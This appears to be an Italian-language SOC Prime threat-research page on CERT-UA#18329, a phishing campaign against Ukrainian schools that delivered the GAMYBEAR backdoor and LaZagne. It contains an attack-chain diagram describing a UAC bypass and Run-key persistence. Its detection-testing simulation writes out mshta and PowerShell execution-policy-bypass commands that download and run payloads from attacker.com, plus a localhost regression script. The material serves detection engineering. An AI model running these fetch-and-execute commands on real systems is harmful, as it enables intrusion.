SOC Prime Bias: Critico

20 Nov 2025 16:35

Attacco informatico mirato a una scuola dell’Ucraina orientale utilizzando lo strumento GAMYBEAR (CERT-UA#18329)

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Follow
Attacco informatico mirato a una scuola dell’Ucraina orientale utilizzando lo strumento GAMYBEAR (CERT-UA#18329)
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Riepilogo

Una campagna di furto di credenziali ha colpito scuole e agenzie pubbliche nella regione di Sumy tramite un’email di phishing contenente un allegato ZIP. L’apertura dell’archivio ha attivato un file HTA tramite l’uso di mshta utility, che ha successivamente scaricato script PowerShell per distribuire il backdoor GAMYBEAR e il dumper di credenziali LaZagne, stabilire un C2 basato su HTTP ed esfiltrare file da directory mirate.

Analisi dell’attacco

CERT-UA ha collegato l’inizio della violazione a un messaggio di phishing inviato il 26 maggio 2025 da un account Gmail compromesso, fornendo i dettagli della campagna nell’allerta CERT-UA#18329. L’analisi forense ha rivelato una catena di infezione a più stadi: ZIP → HTA → update.js → PowerShell → GAMYBEAR accompagnato dal malware LaZagne, con persistenza mantenuta tramite una voce di registro Run e download ricorrenti da URL dannosi.

Mitigazione

Implementare l’autenticazione multi-fattore per tutti gli account email, bloccare l’esecuzione di file HTA e script PowerShell non attendibili, bloccare la chiave di registro Run e implementare una whitelist delle applicazioni. Aggiornare continuamente le regole di rilevamento degli endpoint per riconoscere i nomi di file, hashes e indicatori di rete di riferimento.

Risposta

Isolare prontamente gli endpoint interessati, reimpostare le credenziali Gmail compromesse, raccogliere tutti gli IOC identificati ed eseguire scansioni complete per GAMYBEAR, LaZagne e artefatti associati. Informare CERT-UA dell’incidente e distribuire gli IOC attraverso i canali rilevanti per la condivisione delle informazioni sulle minacce.

graph TB %% Definizioni delle classi classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff9999 classDef process fill:#ccccff %% Nodi action_phishing[u0022u003cbu003eAzioneu003c/bu003e – u003cbu003eT1566.001 Phishing: Allegato di spearphishingu003c/bu003eu003cbr/u003eCompromesso un account Gmail universitario e inviate email di spearphishing con un allegato ZIP denominato “Накaз № 332”.u0022] nclass action_phishing action tool_mshta[u0022u003cbu003eStrumentou003c/bu003e – u003cbu003eNomeu003c/bu003e: mshta.exeu003cbr/u003eu003cbu003eTecnicau003c/bu003e: T1218.005 Esecuzione proxy di binari di sistemau0022] nclass tool_mshta tool malware_hta[u0022u003cbu003eMalwareu003c/bu003e – u003cbu003eNomeu003c/bu003e: zvit.hta (Applicazione HTML)u003cbr/u003eEseguito tramite il collegamento fornito nello ZIP.u0022] nclass malware_hta malware action_powershell[u0022u003cbu003eAzioneu003c/bu003e – u003cbu003eT1059.001 Interprete di comandi e scripting: PowerShellu003c/bu003eu003cbr/u003eL’HTA ha avviato update.js che ha eseguito updater.ps1. PowerShell ha scaricato binari aggiuntivi (be53ff4f4b5daa.exe, svshosts.exe) da server HTTP remoti.u0022] nclass action_powershell action tool_ps2exe[u0022u003cbu003eStrumentou003c/bu003e – u003cbu003eNomeu003c/bu003e: PS2EXEu003cbr/u003eu003cbu003eTecnicau003c/bu003e: T1027.004 Compilazione dopo la consegna (offuscamento)u0022] nclass tool_ps2exe tool action_uac_bypass[u0022u003cbu003eAzioneu003c/bu003e – u003cbu003eT1548.002 Abuso dei meccanismi di controllo dell’elevazione: Bypass UACu003c/bu003eu003cbr/u003eCreata la chiave HKCU\\Software\\Classes\\ms-settings\\Shell\\Open\\command con il valore DelegateExecute per bypassare il Controllo dell’Account Utente.u0022] nclass action_uac_bypass action action_persistence[u0022u003cbu003eAzioneu003c/bu003e – u003cbu003eT1547.014 Esecuzione automatica all’avvio o al logon: Active Setupu003c/bu003eu003cbr/u003eAggiunte voci HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run (IEUpdater, ServiceUpdateService) per avviare i binari al logon.u0022] nclass action_persistence action tool_registry[u0022u003cbu003eStrumentou003c/bu003e – u003cbu003eNomeu003c/bu003e: Modifica del Registrou003cbr/u003eu003cbu003eTecnicau003c/bu003e: Persistenza tramite chiavi Runu0022] nclass tool_registry tool action_credential_dump[u0022u003cbu003eAzioneu003c/bu003e – u003cbu003eT1003 Dump delle credenziali del sistema operativou003c/bu003eu003cbr/u003eEseguito LaZagne (be53ff4f4b5daa.exe) per estrarre password memorizzate e altre credenziali.u0022] nclass action_credential_dump action tool_lazagne[u0022u003cbu003eStrumentou003c/bu003e – u003cbu003eNomeu003c/bu003e: LaZagneu003cbr/u003eu003cbu003eScopou003c/bu003e: Recuperare credenziali salvate da browser, client di posta e altre applicazioniu0022] nclass tool_lazagne tool action_data_encoding[u0022u003cbu003eAzioneu003c/bu003e – u003cbu003eT1132 Codifica dei datiu003c/bu003eu003cbr/u003eLe comunicazioni tra i componenti della backdoor GAMYBEAR (svshosts.exe, ieupdater.exe) e il C2 sono state inviate via HTTP con payload codificati in Base64.u0022] nclass action_data_encoding action malware_gamybear[u0022u003cbu003eMalwareu003c/bu003e – u003cbu003eNomeu003c/bu003e: backdoor GAMYBEARu003cbr/u003eI componenti includono svshosts.exe e ieupdater.exe.u0022] nclass malware_gamybear malware %% Connessioni action_phishing u002du002du003e|consegna| tool_mshta tool_mshta u002du002du003e|esegue| malware_hta malware_hta u002du002du003e|avvia| action_powershell action_powershell u002du002du003e|usa| tool_ps2exe action_powershell u002du002du003e|scarica| malware_gamybear action_powershell u002du002du003e|crea| action_uac_bypass action_uac_bypass u002du002du003e|modifica| tool_registry action_persistence u002du002du003e|si basa su| tool_registry action_persistence u002du002du003e|avvia| malware_gamybear action_credential_dump u002du002du003e|usa| tool_lazagne tool_lazagne u002du002du003e|raccoglie| action_data_encoding malware_gamybear u002du002du003e|comunica tramite| action_data_encoding %% Fine del diagramma

Flusso di attacco

Simulazioni

Esecuzione della simulazione

Prerequisito: Il controllo preliminare di Telemetria e Base deve essere passato.

Motivazione: Questa sezione dettaglia l’esecuzione precisa della tecnica avversaria (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrativa DEVONO riflettere direttamente le TTP identificate e mirare a generare la telemetria esatta prevista dalla logica di rilevamento.

  • Narrativa & Comandi dell’attacco:

    1. Fase 1 – Distribuire HTA dannoso: L’aggressore ospita evil.hta su un server web compromesso.

    2. Fase 2 – Eseguire tramite mshta.exe: Utilizzando un prompt dei comandi di Windows, l’aggressore esegue mshta.exe http://attacker.com/evil.hta. Questo crea un evento di creazione di processo con mshta.exe nella riga di comando, soddisfacendo la prima clausola della regola.

    3. Fase 3 – Bypass di PowerShell: Per eseguire un payload che aggira il criterio di esecuzione del sistema, l’aggressore avvia PowerShell con il flag -ep bypass :

      PowerShell -ep bypass -Command "Invoke-WebRequest http://attacker.com/payload.ps1 -OutFile $env:TEMPp.ps1; & $env:TEMPp.ps1"

      Questo genera un secondo evento di creazione di processo contenente la stringa esatta PowerShell -ep bypass, soddisfacendo la seconda clausola.

  • Script per il test di regressione: Il seguente script PowerShell riproduce i passaggi sopra in modo automatizzato e ripetibile.

    # -------------------------------------------------
    # Regression Test – Trigger Sigma Rule for mshta & PowerShell -ep bypass
    # -------------------------------------------------
    
    # Variables – adjust to your lab environment
    $htaUrl   = "http://127.0.0.1/evil.hta"   # Must point to a reachable HTA file
    $psUrl    = "http://127.0.0.1/payload.ps1" # Simple PS payload (e.g., `Write-Host "pwned"`)
    
    # 1. Invoke mshta.exe
    Write-Host "[*] Launching mshta.exe against $htaUrl"
    Start-Process -FilePath "mshta.exe" -ArgumentList $htaUrl -NoNewWindow
    
    # Short pause to ensure the process logs
    Start-Sleep -Seconds 2
    
    # 2. Invoke PowerShell with execution‑policy bypass
    $psCmd = "Invoke-WebRequest $psUrl -UseBasicParsing -OutFile $env:TEMPp.ps1; & $env:TEMPp.ps1"
    Write-Host "[*] Launching PowerShell -ep bypass"
    Start-Process -FilePath "powershell.exe" -ArgumentList "-ep bypass -Command `"$psCmd`"" -NoNewWindow
    
    # Pause to allow logging
    Start-Sleep -Seconds 5
    
    Write-Host "[+] Test complete. Check your SIEM for alerts."
  • Comandi per la pulizia: Rimuovere i file temporanei e terminare eventuali processi di test residui.

    # Cleanup temporary payload
    Remove-Item -Path "$env:TEMPp.ps1" -ErrorAction SilentlyContinue
    
    # Optionally kill lingering mshta or PowerShell instances spawned by the test
    Get-Process -Name mshta, powershell -ErrorAction SilentlyContinue | Where-Object { $_.Id -ne $PID } | Stop-Process -Force